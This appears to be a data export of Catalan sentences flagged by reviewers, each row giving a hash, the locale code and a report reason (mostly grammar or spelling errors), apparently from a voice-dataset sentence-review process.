4b22c737e6db9df5ed68d256afb2f69f9f57c692adeb40484aaed74a5ecf5ad1 ca grammar-or-spelling Molts tiols són líquids incolors que tenen una olor semblant al de l'all. 4b22c737e6db9df5ed68d256afb2f69f9f57c692adeb40484aaed74a5ecf5ad1 ca grammar-or-spelling Aquesta acció, destinada a intimidar als damascens, en canvi els va decidir a resistir. 4afb47356ea092bc88291c943e80b26ad310c6b54bee9c50ac6e07b610e3cfad ca grammar-or-spelling Les màquines agrícoles tendrien una presència considerable, respecte al bestiar. 4b632cd776db2a03f0ce528a11070924a83dd9f0b888342d3617e252a80c9730 ca grammar-or-spelling Al Regne Unit, és tècnicament legal bronzejar-se despullar a qualsevol platja. 4b71804949cb9e7cf8f420d7480bcf88d555a45ebaf186fde70d5edd00cb6a5a ca grammar-or-spelling Va obtenir un benefici de dotze mil lires, que es van ser lliurar als pobres. 4b5335269616e8e432e6d98167488ab13b552de41790646845b01f69282a2bc5 ca grammar-or-spelling Fins al no va tenir una autèntica estructura urbana. 4ab976bb14287b68e0bd48ba21307dfa7ebed3df8298e8543c0836df8b5d978d ca grammar-or-spelling Molts tiols són líquids incolors que tenen una olor semblant al de l'all. 4b22c737e6db9df5ed68d256afb2f69f9f57c692adeb40484aaed74a5ecf5ad1 ca grammar-or-spelling Excel·lí com a superior dels convents reformats i mestre espirituals. 4bf52ad1e7ca3b4d26d6c4633ecee61cac4598cf9df213b1fcf3ea132de08a23 ca grammar-or-spelling Va obtenir un benefici de dotze mil lires, que es van ser lliurar als pobres. 4b5335269616e8e432e6d98167488ab13b552de41790646845b01f69282a2bc5 ca grammar-or-spelling La pronunciació de i diversos grups de consonants pot diferir en els dialectes. 4c60ffc13db546fac7dd837b6592eec0005f257e2d082ed1c8e3bf32094ddd8f ca grammar-or-spelling Va obtenir un benefici de dotze mil lires, que es van ser lliurar als pobres. 4b5335269616e8e432e6d98167488ab13b552de41790646845b01f69282a2bc5 ca grammar-or-spelling Com altres normands els habitants que es va convertir al protestantisme en general nombre. 4c669928dafe56800b81614b6452ef942c28526ef1f1e317975c287ebe60b168 ca grammar-or-spelling Per extensió l’arbre de mitjana el pal on va envergada l'antena de mitjana. 4cc801696121802483de0b2a305a34f17059546984af4025a88cce33f2f4f42c ca grammar-or-spelling Destacà a la primera meitat del per la seva secció de futbol. 4ca5f92a7e299bf2033f772c7df9d99e6d37aaaa67f93f9f491c3169ea6396c1 ca grammar-or-spelling Passava temporades llargues a la casa que el seu germà a Vallvidrera. 4cd4fd37bb1546bc1fa9745a53dc4024496b351e7a29342b06d59a20d52693d8 ca grammar-or-spelling Com altres normands els habitants que es va convertir al protestantisme en general nombre. 4c669928dafe56800b81614b6452ef942c28526ef1f1e317975c287ebe60b168 ca grammar-or-spelling Per extensió l’arbre de mitjana el pal on va envergada l'antena de mitjana. 4cc801696121802483de0b2a305a34f17059546984af4025a88cce33f2f4f42c ca grammar-or-spelling Passava temporades llargues a la casa que el seu germà a Vallvidrera. 4cd4fd37bb1546bc1fa9745a53dc4024496b351e7a29342b06d59a20d52693d8 ca grammar-or-spelling Passava temporades llargues a la casa que el seu germà a Vallvidrera. 4cd4fd37bb1546bc1fa9745a53dc4024496b351e7a29342b06d59a20d52693d8 ca grammar-or-spelling Com altres normands els habitants que es va convertir al protestantisme en general nombre. 4c669928dafe56800b81614b6452ef942c28526ef1f1e317975c287ebe60b168 ca grammar-or-spelling Passava temporades llargues a la casa que el seu germà a Vallvidrera. 4cd4fd37bb1546bc1fa9745a53dc4024496b351e7a29342b06d59a20d52693d8 ca grammar-or-spelling L'estat era cap cop més reduït. 4d3312b6021dd635755df87140b04d917a23ed2204cdcd7c4cf349e03d829e56 ca grammar-or-spelling Eventualment açò hauria d'ésser realitzat per qui hi hagin sofert perjudicis directes. 4cca4d323979e224078153170d320b85ad1d347b523d78cc3fba6702fa876fae ca grammar-or-spelling Part d'aquest panorama va ser transmès per la francmaçoneria, a la qual del Pilar subscrit. 4d711e720ce7637158026a458eb866a45382678ed7a31a69904b6b3c0ebce1f4 ca grammar-or-spelling Poca estona després d'aquestes paraules va entrar un home que va declarar viure cuidant porcs. 4e557d6582470dce61fd35690a1604d99173417bfdcc5ae9336973184f84055c ca Se sent molt soroll... Va néixer i es va criar en Brooklyn, Nova York. 4e54c8d69fa45842aba1c6b6a88c5b04871c80990fce8c129027d92adaf131ee ca grammar-or-spelling És també fortament caracteritzada per una sèrie d'esdeveniments surrealistes enllaçats per trobades casuals. 4e4da3d21f6a9cdcb451691ff79afc2c9b7de2132f35c88eac03ec93e76ce5bb ca grammar-or-spelling Es trobaven restes dels campaments tàtars però no s'albiraven a les seves forces. 4e3dac099502b6f47e787792a698f70ff3bf30aac893adb05320d60232041ad9 ca grammar-or-spelling Per això dóna lloc a centeners de milers d'al·lels patològics per a milers de malalties. 4f4acddc50ed917c14e8601ec80497ffc6c50eb3dae1ac6ab6f6b1cafd060e54 ca grammar-or-spelling Per això dóna lloc a centeners de milers d'al·lels patològics per a milers de malalties. 4f4acddc50ed917c14e8601ec80497ffc6c50eb3dae1ac6ab6f6b1cafd060e54 ca grammar-or-spelling El filtre d'aire sol acumular brutícia, cal netejar-lo de tant en tant amb cura. 4f561529b5b12df1b7070f24dabedb5506c06b1a56c08ff2e011b525e1ae24e2 ca grammar-or-spelling El més ràpid de cara sèrie i el millor segon passaven a semifinals. 4f44617ba507b6b2c22e8801affc835d986bea872de30c792a45d6d59fa96f9c ca grammar-or-spelling El més ràpid de cara sèrie i el millor segon passaven a semifinals. 4f44617ba507b6b2c22e8801affc835d986bea872de30c792a45d6d59fa96f9c ca grammar-or-spelling Aquesta diferència radical amb les altres religioses s'anomenava el cristianisme, vida eterna. 4fc3ef005bd04e1f436a2e713f38a230200767fed6b7083f21a2884e5a7841bc ca grammar-or-spelling De família jornalera, de petit va fer de missatge. 50ee1b82612f9b8e5a3177ef8ced37221d109b802cb17456a635b32e312d8882 ca grammar-or-spelling Actualment, es realitzen tornejos i competències mundials en què participen veritables aficionats d'aquest curiós joguina. 50e185833af5296b16c90802c9d0fa82925061c6514113c9dfc89e4a609693df ca grammar-or-spelling Durant molts anus fou també la seu de l'Església Catòlica Romana a l'arxipèlag. 50aea32f42b3c352aa43b2b2a0262aea034d14e9bf65e373c12ec126d88fab51 ca grammar-or-spelling Durant molts anus fou també la seu de l'Església Catòlica Romana a l'arxipèlag. 50aea32f42b3c352aa43b2b2a0262aea034d14e9bf65e373c12ec126d88fab51 ca grammar-or-spelling Habita en els matolls, les estepes i prop de llacunes i banyats. 5127f937187c5296ebd38b313043ed11ad70d257b5ee48cfc78a7fea9d6ae385 ca grammar-or-spelling El caviar, considerat delícia culinària, són freses de diversos tipus de peixos, principalment d'esturió. 5180211e7fc32ab42023f4fd26c1c5476c711c797c15a9faa287b4ecec433160 ca grammar-or-spelling Entre aquests dos valor existeix un règim de transició. 512b5163f68120f3cbc88dd1a49fc31130ab3fbd71b82d8d2879e55b487adb57 ca grammar-or-spelling El menjar cuinat sol ser després untada en una espècie de salses. 514cfe5657b920c90a464c7aefeef5ed771e833ec4ab3413c0f862ed094852af ca grammar-or-spelling De família jornalera, de petit va fer de missatge. 50ee1b82612f9b8e5a3177ef8ced37221d109b802cb17456a635b32e312d8882 ca grammar-or-spelling De família jornalera, de petit va fer de missatge. 50ee1b82612f9b8e5a3177ef8ced37221d109b802cb17456a635b32e312d8882 ca grammar-or-spelling Exerceix després de concloure els seus estudis l'advocacia en Betanzos. 51b3ace5cefa27f6125e22c6685f07a18e274d7dbf18f26dd790052c12824273 ca grammar-or-spelling Mentrestant el Regne Unit va encarregava el primer vaixell en línia propulsat per hèlice. 5207889cd9d05d13449b2696b085b200108da7f15f4cab3776d7e1285482f764 ca grammar-or-spelling Fins i tot si van existir, cal considerar les dates com a aproximacions. 51e6891fa74b98e41fffe81f83483a63f080b370bbe2c402211f2e1c7450f5c1 ca grammar-or-spelling En l'estàndard hi ha fórmules que permeten l'estimació dels valors de Pst a esperar. 520ad520000da020d54b74c619fb24cc050491f74a200facecd9047e59343848 ca difficult-pronounce Des d'aquests criteris tradicionals s'ha evolucionat a altre més abstracte, però eficient. 5280edaec0468be63d27fe62f4215da4cd36847924e7b25a3f4ce5c419191728 ca grammar-or-spelling La major part de l'armament de l'organització va ser confiscada. 525ce138ba3b5aa97c1b9c8a2fc7aacfc6f26c0a3c3f685670f8680fa112313b ca grammar-or-spelling La zona muntanyenca està ocupada per pins i forest baixa, i pastures a l'hivern. 52905cd8b7ef9abdc53e90794968f90c87346aafcf3d82cd5d9d77f56991a3c9 ca grammar-or-spelling Les seves dimensions són petites i s'obre en una paret de travertins. 52a196d5bc670986de407cc8aa939f2c8d74ebef8c29b3c81c0021d9cdd12fe3 ca difficult-pronounce La seva tipologia escapa un xic de l'ambient rural i s'emmarca dins l'àmbit urbà. 51fcd8250ba93d47ed0444568b2c39062a5c11cd8994538c6ef82f3259f63033 ca grammar-or-spelling El deixant produït és molt petita i l'arrossegament és dominat per la component de fricció. 529c44b832aa8677145a94f38b015ed7d1e541a98d4bb0e9c0c42ba0546d7f7a ca grammar-or-spelling La zona muntanyenca està ocupada per pins i forest baixa, i pastures a l'hivern. 52905cd8b7ef9abdc53e90794968f90c87346aafcf3d82cd5d9d77f56991a3c9 ca grammar-or-spelling La constant dielèctrica és simplement la permeabilitat relativa del material. 529774f5c7ab56f9d6f3d8254c2a4226f0c504b26b2b9d7f6ee467fd67cae83c ca grammar-or-spelling Aquesta pràctica de govern sòl denominar-se transparència. 530d3d9dbb74cd708bfe060a9a3a55d6c482259cfedfcc8707faa06329e24bcb ca grammar-or-spelling Alguns guitarristes toquen a la vegada que canten o toquen altres instruments, com l'harmònica. 51a6fa4517aff07a949510d8c58442dbc7666e7321aac1d54ae4c404d76f9d59 ca No se que passa Va dedicar-se aleshores l'escriptura de poesia. 52dbac9205cd217ed82eb1c1049958dc7993fe26f58d855dae08762fe4e296ff ca grammar-or-spelling En els últims dies de la contesa va ser designat comissari de l'Exèrcit del Centre. 5329fcdd16da0c410ef8e37c49eac34a3e6de4d2eca6e0a2099ae9b62d471399 ca grammar-or-spelling Mas de dos-cents mil morts fou el resultat d'aquest període. 525ed4cf42451bb8423ad91381309ad0d80f46c8adc990acb03df89bc01767d0 ca grammar-or-spelling La paraula encara és utilitzat afectuosament pels enginyers navals moderns per descriure el seu paper. 5352754a4bd589ea10021b2bc63250581253f9fb1f4f0e4d553eddb4fb2851b5 ca grammar-or-spelling La paraula encara és utilitzat afectuosament pels enginyers navals moderns per descriure el seu paper. 5352754a4bd589ea10021b2bc63250581253f9fb1f4f0e4d553eddb4fb2851b5 ca grammar-or-spelling Mas de dos-cents mil morts fou el resultat d'aquest període. 525ed4cf42451bb8423ad91381309ad0d80f46c8adc990acb03df89bc01767d0 ca grammar-or-spelling La paraula encara és utilitzat afectuosament pels enginyers navals moderns per descriure el seu paper. 5352754a4bd589ea10021b2bc63250581253f9fb1f4f0e4d553eddb4fb2851b5 ca grammar-or-spelling Tots aquests videojocs es basen lligues, competicions i jugadors reals. 5358bf123c4ef0ad90d821d884d9ff973734970601c5de44996fcb13c3a0bc35 ca grammar-or-spelling La paraula encara és utilitzat afectuosament pels enginyers navals moderns per descriure el seu paper. 5352754a4bd589ea10021b2bc63250581253f9fb1f4f0e4d553eddb4fb2851b5 ca grammar-or-spelling Tots aquests videojocs es basen lligues, competicions i jugadors reals. 5358bf123c4ef0ad90d821d884d9ff973734970601c5de44996fcb13c3a0bc35 ca grammar-or-spelling Ningú sap amb certesa que significa o que origen té. 54444dd70c52f04034f19e53ef450130b3e644275fd090c529d121f09ba32cb5 ca grammar-or-spelling La diòcesi comprèn el territori departament francès dels Alts Pirineus. 54adbee8875930514bdd50fa93402a52bd7db90b73cdba001e3424e235abdd02 ca grammar-or-spelling L'arxidiòcesi una trentena de municipis de la franja central de l'estat mexicà de la Durango. 54a93ed030cdc23a7f3dc288e91880e17fe4353bc9767d118b34890c1ba0b710 ca grammar-or-spelling Cada cotxe quedarà disponible un cop s'hagin realitzat cada objectiu demanant. 545ca873bb7270d9e53d860af11199fa664777919dbe1a133ed117f9d1a5ad0e ca grammar-or-spelling És advocada, educadora i activistes pels drets humans. 55675d86f9b1230b9d13bed4f4e932132d7a82b4d32ae450acaa4e41cf79b286 ca grammar-or-spelling Moltes veritats ocultes i foscos secrets emergeixen enfrontament final amb sang a les muntanyes. 552120e31f1d5df38e46afc8f8f0e04aee1ae08f598981d330323e5395784636 ca grammar-or-spelling Va ser el primer a demostrar que e és un nombre transcendent. 559055d85d73229e3bcb382030988b86658b91e8c5193dd0bf83792869317732 ca grammar-or-spelling Alguns estan actius durant del dia, encara que la majoria cacen de nit. 552cfd3b4ffb05544479f97befe551b86f6344170089cbacb64583e6e84850f3 ca grammar-or-spelling El Consell encara estava decidida a assolir la pau duradora arreu del món. 559ace64cf838b3b47e2c667769b77d1593f622e93b4815680ea8435dc5d9ca1 ca grammar-or-spelling De mica en mica, la programació es va anar orientat cap a la música. 55f63dc637c436d3e63dede66d6dbd3720f721ddf4b93fea3a5ea9d9023c42ba ca grammar-or-spelling Han permès com fer que certes les algues produeixin hidrogen per a combustible. 55da6935ddfb23ad33089dd2ebacfabe0198d9b86a3f5e1381b456ee8bdb846d ca grammar-or-spelling Aquest fet pot no saber-se, però se sap freqüència de malaltia. 55f624241f684f6cd26fc63eadd1fb5ae97ad3834e70abe88f18df1c2d527e7e ca grammar-or-spelling Va ser altre cop pretor l'any i va obtenir la jurisdicció urbana. 55f8f0c45f927edae286cdd7b4364333f71476290a970c96e2b6b21c303c28fb ca grammar-or-spelling A la Xina es fa servir de manera comuna com a fertilitzant nitrogenat molt econòmic. 55b7fcfd3c70655bdbdb0929d9e388271331aab2256c74878de5a7ea9a5ce2d9 ca grammar-or-spelling Per això, diu el sociòleg, la normalització ha de ser conscient, prospectiva i previsora. 5625a435d83f29d8821ff2fc048373ec5d497abe63519243ccde533a724098ab ca grammar-or-spelling Aquest aminoàcid també pot ser sintetitzar per plantes i altres microorganismes via el profanat. 554e642df3cc1a0741237c031e23991e426e688c17287dc17ea1032a1f9c24cb ca grammar-or-spelling Han permès com fer que certes les algues produeixin hidrogen per a combustible. 55da6935ddfb23ad33089dd2ebacfabe0198d9b86a3f5e1381b456ee8bdb846d ca grammar-or-spelling A mesura que passa el temps, John i Savannah només poden veure esporàdicament. 56700fd8a605803398758ce9e43ac241d5190387f8e50a19bb783128a6fecc47 ca grammar-or-spelling Les amines mixtes són les que aquests són diferents. 55c72ba23994b1dee26115282e46542d1423d6c4d35766360ec19be4047abc60 ca grammar-or-spelling Habitatge unifamiliar de planta aixa, pis i golfa. 56721ff52d324c9e3d79b09694e51bf508476d0335ca2f26eb28acf5592089f2 ca grammar-or-spelling Les amines mixtes són les que aquests són diferents. 55c72ba23994b1dee26115282e46542d1423d6c4d35766360ec19be4047abc60 ca grammar-or-spelling Habitatge unifamiliar de planta aixa, pis i golfa. 56721ff52d324c9e3d79b09694e51bf508476d0335ca2f26eb28acf5592089f2 ca grammar-or-spelling Les amines mixtes són les que aquests són diferents. 55c72ba23994b1dee26115282e46542d1423d6c4d35766360ec19be4047abc60 ca grammar-or-spelling L'entrada és un arc escarser que ocupa pràcticament ocupa tota l'amplada de la façana. 56e841fa6b04da06f8696d8234a8b3c93c31039fe1abe2842552be2c74839ba9 ca grammar-or-spelling Coberta d'una sola pendent. 56bb02b82d63f6f13df692b9e0edf04bab177b6d783c1544eb3bdf4c431b6f6a ca grammar-or-spelling Dos graons de planta quadrada disposats en progressió decreixent forment el basament de la creu. 56b6d9defb2377d77de2b62dc7854f97f9709bd4efe95dd6cb2b36752498864d ca grammar-or-spelling Les amines mixtes són les que aquests són diferents. 55c72ba23994b1dee26115282e46542d1423d6c4d35766360ec19be4047abc60 ca grammar-or-spelling Aquest és el mètode utilitzat pel coet de ficció Professor Tornassol. 5694efdc326575e68d4bfe65e626b641713e297f84b512a7c608bc1a5681e876 ca grammar-or-spelling Són edificis diferents tipus i formats dins d'un bosc. 56b0c8482ce95ed9bc0879251f010ab7ec451714e29ade7cbc89ebb9421eaea9 ca grammar-or-spelling Seu investigar i publicacions atenció enfocada en usuaris de sistemes d'informació i serveis. 5753bce20c3328f055c388f7e5a02c9ed4469ec05e3c27cd0552a4b1580ceaf3 ca grammar-or-spelling És de planta rectangular amb coberta a una sola vessant. 57e79f902638ca560f62f3bd3aacf31bb75343b4bb8fb0a2f86a6a3b8dcb2f2b ca grammar-or-spelling És de planta rectangular amb coberta a una sola vessant. 57e79f902638ca560f62f3bd3aacf31bb75343b4bb8fb0a2f86a6a3b8dcb2f2b ca grammar-or-spelling Està en perill d'extinció i les últimes estimacions uns pocs centenars d'exemplars. 577ee1eee4fa3ee27d1e260c1fbb973cf43ea8b0c6d211ec96f513d67c514182 ca grammar-or-spelling Guillem d'Apúlia sembla haver usat aquests mateixos annals com fonts la seva obra. 588b39e23b32486cf1fbb75cd8de3df793abe03326105a8cd77e239c7c250ce2 ca grammar-or-spelling Són edificis diferents tipus i formats dins d'un bosc. 56b0c8482ce95ed9bc0879251f010ab7ec451714e29ade7cbc89ebb9421eaea9 ca grammar-or-spelling Guillem d'Apúlia sembla haver usat aquests mateixos annals com fonts la seva obra. 588b39e23b32486cf1fbb75cd8de3df793abe03326105a8cd77e239c7c250ce2 ca grammar-or-spelling Nogensmenys, tots aquests grups són relacionats històricament, culturalment i lingüísticament. 59168020c874d999510bf0cce1746c176308bc51dcad13d16ddb11c05e368a5b ca difficult-pronounce Durant l'edat mitjana la pagesia preparava per ser cultivada temporalment. 59cc752d0fd37384d344d8f7def21f67dd317b4e00cd9345466716408dcdd37c ca grammar-or-spelling Destaca la sobrietat de la seva construcció que queda patent és les seves austeres façanes. 59c48106aaf0b69ee065d76ffe394514d5cf2b746569ee6a11c76f2968e34d6a ca grammar-or-spelling Allí traduí una novel·la xinesa donant a lloc a la seua obra més famosa. 5a3a0e92a7f2b5451b9dd8040c026d6aa313246c30832ff2e2c445e4f0bdf9f3 ca grammar-or-spelling En l'actualitat té el seu estudi a Girona però realitza projectes per tota Europa. 5aaf8f72a700e693b389cb8ba6893da0802d9522c85cc164079c0a4c80cf39a7 ca grammar-or-spelling Són, respectivament, vermell, rosa, blava clar i taronja. 5ae887b821a2a6f2a19f9c1e0b7494e0892a58da53fdb4533f9e78d25746bc81 ca grammar-or-spelling Cap Verd és un adherent ala política d'una sola Xina. 5a91f3a49bb5a4c0bfe1999a86e0dfa539c57b1761aa58e6d471e8d260402d4d ca grammar-or-spelling També posseeix una cresta baixa creuant la part aquest de la planta. 5b10688f049921831049942445a04e17e5e8c758e319e69e63bfbab16aff456a ca grammar-or-spelling Tenia una població de vuit llars i dos solters, tots els musulmans. 5ad46218049391668b3549213653d013e923dd2a148a41fc3d1bf4469d6eb975 ca grammar-or-spelling El lloc web compte amb una base de dades per als usuaris de Yahoo! 5b286dc7cc837abd4654b4a524bb09432e7a2955825b0a21919efbb7206a6584 ca grammar-or-spelling Respecto l'Espanya democràtica i constitucional. 5bafe2820bf8ff87b04b8c8d9aa5ab4663b7124d7581859516287b4bc181a2eb ca offensive-language El cos sol estar cobert amb abundants de pèls. 5b8eda9717a0e189c0fc09a408b84711507666f083e0c27dbde0bd0b704d8a05 ca grammar-or-spelling Els oficials comunistes seguint ordes del partit van donar suport al govern. 5c1707f8595cc447b13c64d88ce9b244a33f302d7f98b5f777a9c302c99ba21b ca grammar-or-spelling Calia crear algunes posicions militars per consolidar els èxits obtinguts i Combes. 5c6df77ebca5325b893f4f83d0f61d96b685dfd0b3d40d0541b1e686af4db90b ca grammar-or-spelling El també va dissenyar la construcció de la Capella Expiatòria de Monza. 5c5e957d775233ee655ceed7c5c687caecfc3d1eaabfa448f4fb2785d1cbeeeb ca grammar-or-spelling És conservat a museu Liechtenstein de Viena. 5caa24d4fc8105055600df2dacacdf8b6393e263a558a9e13c1f6fbac12e2270 ca grammar-or-spelling La resta de finestres del temple cultual també presenten el mateix arc. 5cde2d39c0edf06b8c3a663e77736bc03c69c92270f648e94155d462f6a6dd97 ca grammar-or-spelling Les xifres de mortalitat són superiors adults que en nens. 5d05cbe848afe5ab089aab0a7ee273ed7715c4322e2eabc245246af57cc41ca4 ca grammar-or-spelling De jove jugà al futbol, arribant a Divisió d'Honor juvenil amb Hèrcules i Vila-real. 5cf8d6dcd45112e0bd593105e70f4fee45c6001b4365abdb4ff9bf2d101d9a30 ca grammar-or-spelling Es confon freqüentment i confosa amb l'acne. 5d6ee88b562692c1007f11ba964291c703ebbafeb16cde890fc203797c4895e7 ca grammar-or-spelling Estava forma únicament per un poble amb dos tributaris separats. 5da73b27f647d8e0bc9a223c1ea97023a6de707b52270958f40f447a7a06a16d ca grammar-or-spelling Així mateix, gestiona la xarxa d'arxius i de centres dependents del Ministeri de Cultura d'Espanya. 5d44c07773326b0a9ee2eb394ce4b94055a9a0f37eb43c8ddd84fffc20797b90 ca grammar-or-spelling Va ocupar diversos càrrecs administratius a les ordes del seu senyor. 5dae23262f0fad3168fe00e17264fe87821ac5b4c0e136f840a9f90570170651 ca grammar-or-spelling Només quedava una alternativa la rendició. 5d663a0fe3a3bc6b569103022e503e579e5799f359d03ed9be870b819e2eedbe ca grammar-or-spelling El llindar de les finestres treballat amb esgrafiats senzills de formes vegetals entrellaçades forçà estilitzades. 5d9ceb5fffbc8cdc0bfe670299b42276373840278ea2d2078dca41cedf9a9dfc ca grammar-or-spelling Una vegada finalitzat la fase d'entrenament, la brigada va ser assignada a l'Exèrcit d'Extremadura. 5e08686dee670c4f9cac2fbadc19e245477c2faab6f5e28a791dd99d0a27d1d7 ca grammar-or-spelling Altres elements importants són: la pica baptismal, la pica d'aigua beneita, ambdues de granit. 5df0127f785a28692cca65d029b9ab06f177856623e0222e0bf2058602a37763 ca grammar-or-spelling Estudià als Escolapis de Barcelona i més féu la carrera d'advocat a la mateixa ciutat. 5e0e17d68cd1b4e5b6f95942d35ff06293a02f67c4365c6882a7b76da7f6c132 ca grammar-or-spelling Des dels primers anys, va alternar el teatre amb projeccions cinematogràfiques. 5e3eae5fded2cca229ea9de1f39c1b81f328eba36331f466d4f4a17116c5ee80 ca grammar-or-spelling Aquest mateix any es va cassar i va tenir un fill de nom John. 5e6608c65e89a002644c2b9b4f2ee0d96111ab7d6d0e1c4b1c2402694116c1a0 ca grammar-or-spelling Hiverna al Sahel encara que n'hi ha poblacions magribines que són sedentàries. 5e03fd498790d04213139832ac82b5d591b892947fd05b7ce893c63d77259082 ca grammar-or-spelling Després de la desamortització i exclaustració de l'ordre, el convent passà a mans privades. 5e74f32cbb14e5aa993b1a63db04ede9559bfd46ed18788d9f8e8b99a32f2b3d ca grammar-or-spelling A l'altre extrem, altres suposen que una economia sense escassesa conduiria a una utopia. 5ea8675321a762df8aa0358a3f037bb1d9cc5d5758662da95f4311125fcd7929 ca grammar-or-spelling Estudià als Escolapis de Barcelona i més féu la carrera d'advocat a la mateixa ciutat. 5e0e17d68cd1b4e5b6f95942d35ff06293a02f67c4365c6882a7b76da7f6c132 ca grammar-or-spelling A la regió argentina de la Patagònia té una població de parla gal·lesa considerablement. 5e81ac772302d2886a7f21447dbfc515ed089a7a762819ee39ff3a50b5af23ee ca grammar-or-spelling El Capítol Metropolità Capítol encara existeix. 5edf9f5d22b85b8163e073f0eb57a1d461dd2c4321e0ba6a598ab24edeff36dc ca grammar-or-spelling A la regió argentina de la Patagònia té una població de parla gal·lesa considerablement. 5e81ac772302d2886a7f21447dbfc515ed089a7a762819ee39ff3a50b5af23ee ca grammar-or-spelling La seva doctrina sostenia que no totes les ofenses podien ser consideres iguals. 5eb66851af80ea98dcde5a39fafb3041dae6a6417859db1aaba481ae1b227850 ca grammar-or-spelling Les competicions següents són triatlons i pertànyer a la categoria d'Elit. 5f2278d874b74a78bf74db0f44dbda3bb08b072ca79db27f27892ba6632ceb6f ca grammar-or-spelling Per aquest motiu sigui tan popular en petits revòlvers per a defensa personal. 6007259bb73f8e3f72b45beedebb8e76c008831ae70601f0c82cf442e6345962 ca grammar-or-spelling L'única filla del matrimoni, Anna va morir amb tretze anys. 5fd90c6cf7de1c47611f57553c5e120a3a96ca7b9fcac9de6e7c9ebec94df004 ca grammar-or-spelling L'Estat com col·laborador en les exportacions cobrava una taxa als negocis particulars. 5ff60ca42d6c38149ded31316fbe57e5bb575ce65514d1ff72c81054836383af ca grammar-or-spelling L'appoggiatura començar com un matís per expressar gran emoció en cantar. 60af00a2f9a50857e17d5d078c0947e6a39efc5c9a68b4f29ca1c22273ec2a65 ca grammar-or-spelling El resultat de l'acció va ser la victòria britànica i l'ocupació de la seva l'estació. 60e42fa0b503758b9edfdf4c2ee78de9eb7f6137ba570174e9b1f1acfb8cda36 ca grammar-or-spelling Gran zones continuen contaminades per elements radioactius. 60c58e03e0c757afeacb02af16673210f9abee1d083071c9f6340494471774c7 ca grammar-or-spelling El resultat de l'acció va ser la victòria britànica i l'ocupació de la seva l'estació. 60e42fa0b503758b9edfdf4c2ee78de9eb7f6137ba570174e9b1f1acfb8cda36 ca grammar-or-spelling És per això què li vaig dedicar l'obra. 60d1948c665949ae617da5beb531095fce24d83d4312615577ccdc8cbe70cf41 ca grammar-or-spelling Posteriorment, i des de la Segona Guerra Mundial fou propietat d'una família alemanya. 609afb72397b6ea1b5a14e211f5a5153c6aea010f142afd818bfddd2cb102dd8 ca grammar-or-spelling És una masia que s'aixeca el marge dret del torrent Sallent. 60d2ef6392bdc5598a59c9a0307f8cc74bbd2994b8e8a81fe59dd6f258ad04a1 ca grammar-or-spelling El Comitè es componia fonamentalment dels polítics, i cap lingüista va ser inclòs en ella. 60fec6b16d34878e40b2880b1005123f6b0219618f74fd09c85ab1539075e7cd ca grammar-or-spelling El cos de Donat, vuitè bisbe de Reims i fou traslladat. 61507e879695e559fc068ea917df7cd2b1bb38be8e323778c7ffe800293fb346 ca grammar-or-spelling És una masia que s'aixeca el marge dret del torrent Sallent. 60d2ef6392bdc5598a59c9a0307f8cc74bbd2994b8e8a81fe59dd6f258ad04a1 ca grammar-or-spelling El cos de Donat, vuitè bisbe de Reims i fou traslladat. 61507e879695e559fc068ea917df7cd2b1bb38be8e323778c7ffe800293fb346 ca grammar-or-spelling És una masia que s'aixeca el marge dret del torrent Sallent. 60d2ef6392bdc5598a59c9a0307f8cc74bbd2994b8e8a81fe59dd6f258ad04a1 ca grammar-or-spelling Aquestes dates ferien impossible cronològicament la seva coincidència en el temps amb cap dels apòstols. 613292417cd2bd86f910dd7a75b35ef0078d0424d3bbc5e83e6fc858208f975f ca grammar-or-spelling Ha col·laborat tant amb Escola Judicial com amb l'Escola de Policia d'Alemanya. 61698dffd9929fa9e6164ce91d941d5c751851ecfa68181d2014ff4491516701 ca grammar-or-spelling Però la continuació del regnat de Carles l'Infant no fou tan afortunat. 618050ac6dcc98cd1b04aef1ea746a1c0b847c348325a18e0d8099ff49b6fb6e ca grammar-or-spelling Es troba a Àfrica: riu Níger, llac Txad i el curs superior del riu Senegal. 618af9f096126f06a40a9a590d41f27c8d79181655c1b3227ae57088ec89243f ca grammar-or-spelling El resultat de l'acció va ser la victòria britànica i l'ocupació de la seva l'estació. 60e42fa0b503758b9edfdf4c2ee78de9eb7f6137ba570174e9b1f1acfb8cda36 ca grammar-or-spelling És l'estació principal i dels serveis de Rodalies Bilbao i Llarga Distància a Bilbao. 61c8d7e1e2b751efeb0d6bef3cda7a2ee6b3855a878e918fa55c739323b0dbfd ca grammar-or-spelling Va emfasitzar els beneficis d'atenció regular a l'estat físic i mental personal. 61704315d4e6c91a4b7cbac158da2032a37f4ae23d291875bef28f3ba7d1d744 ca grammar-or-spelling Una vegada que en la cèl·lula hoste, el cosmidi es replica com plasmidi. 6109a87e97ead8aff6cc3d502544287e831cd3fdd2e9255e0e9d0cd70b3cd3d9 ca grammar-or-spelling Una vegada que en la cèl·lula hoste, el cosmidi es replica com plasmidi. 6109a87e97ead8aff6cc3d502544287e831cd3fdd2e9255e0e9d0cd70b3cd3d9 ca grammar-or-spelling Martínez palomes. 60d1c6b5e0f9cf1efd8ed16c73e2830b21605f8bdf8d8a1ec5e2d3183f91dc0c ca grammar-or-spelling Va emfasitzar els beneficis d'atenció regular a l'estat físic i mental personal. 61704315d4e6c91a4b7cbac158da2032a37f4ae23d291875bef28f3ba7d1d744 ca grammar-or-spelling El santuari de Loreto és molt freqüentat dels fidels del món catòlic. 61cba120dd11fb8b873389407a5365735abc0ccf448d9b1e92bf799a18502eac ca grammar-or-spelling La Guàrdia Imperial de Napoleó és un exemple. 61c0e705a291b4f1b4607196b524671a310fe7b946e48b9f7a5ff1daf77d3eb1 ca grammar-or-spelling Amb la descentralitzada abastant els nivells més baixos per la presa decisions. 61c501b67673fdb9cc34fc2760b0a13407aea1d7e27e91babdc92a526ffd4811 ca grammar-or-spelling És una arma comuna en les arts marcials subcontinent. 61d284f594d6449a48d4249352c5d1e95ef9dc6152081d1a6a950322cadd58f7 ca grammar-or-spelling En eixa etapa, els diners de les subvencions públiques no era excessiu. 61619acfe6472daaa42a71d557d34e414fc6f98d45c4a864dd10152e79d70089 ca grammar-or-spelling El santuari de Loreto és molt freqüentat dels fidels del món catòlic. 61cba120dd11fb8b873389407a5365735abc0ccf448d9b1e92bf799a18502eac ca grammar-or-spelling Redueix la il·luminació de l'habituació. 622fb2e7c4fcf090a2e595b49da383af8116b7816e3b886cea7a41ab655c6be8 ca grammar-or-spelling Aquests pastissets, molts dolços, es fan a casa o es compren a pastisseries i supermercats. 621eaad3316d95dc455fdc4cf549a351cb2db7b159ab7aeea55357a20e0a8338 ca grammar-or-spelling És una arma comuna en les arts marcials subcontinent. 